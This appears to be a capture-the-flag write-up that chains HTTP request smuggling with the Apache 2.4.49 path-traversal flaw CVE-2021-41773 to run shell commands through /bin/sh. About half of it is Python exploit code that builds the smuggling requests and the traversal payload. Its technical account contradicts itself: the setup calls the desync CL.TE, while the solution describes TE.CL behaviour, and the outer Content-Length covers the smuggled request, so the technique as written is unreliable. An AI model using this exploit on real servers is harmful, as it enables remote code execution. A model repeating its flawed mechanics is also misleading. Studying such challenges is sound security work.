DUPLEX
Challenge
An outdated Apache/CGI stack sits behind a front-end proxy that disagrees with the backend about where a chunked request body ends — a classic CL.TE request-smuggling setup — and the backend itself is Apache 2.4.49, vulnerable to CVE-2021-41773 (path traversal via .%2e/ in CGI paths, reaching arbitrary file execution through cgi-bin).
Solution
Smuggle a second, fully independent HTTP request past the front-end inside the body of a chunked request the proxy thinks has already ended (Content-Length and Transfer-Encoding: chunked disagree about the true body length, so the backend parses a "hidden" second request out of what the proxy considered leftover body). That smuggled request targets the CVE-2021-41773 traversal directly, escaping cgi-bin to reach /bin/sh:
smuggled = (
b"POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1\r\n"
b"Host: " + HOST.encode() + b"\r\n"
b"Content-Type: text/plain\r\n"
b"Content-Length: " + str(len(RCE_BODY)).encode() + b"\r\n"
b"Connection: close\r\n\r\n"
) + RCE_BODY # RCE_BODY = shell commands piped straight into /bin/sh's stdin
outer = (
b"POST / HTTP/1.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Content-Length: " + str(len(b"0\r\n\r\n" + smuggled)).encode() + b"\r\n\r\n"
) + b"0\r\n\r\n" + smuggled
The front-end forwards the outer request as one chunked-terminated body (0\r\n\r\n), but the backend, trusting Content-Length instead, keeps reading past that terminator and parses the smuggled bytes as a second, attacker-controlled request straight into the vulnerable CGI path. RCE_BODY pipes shell commands (/getflag) directly into the invoked /bin/sh, and the response comes back over the same connection.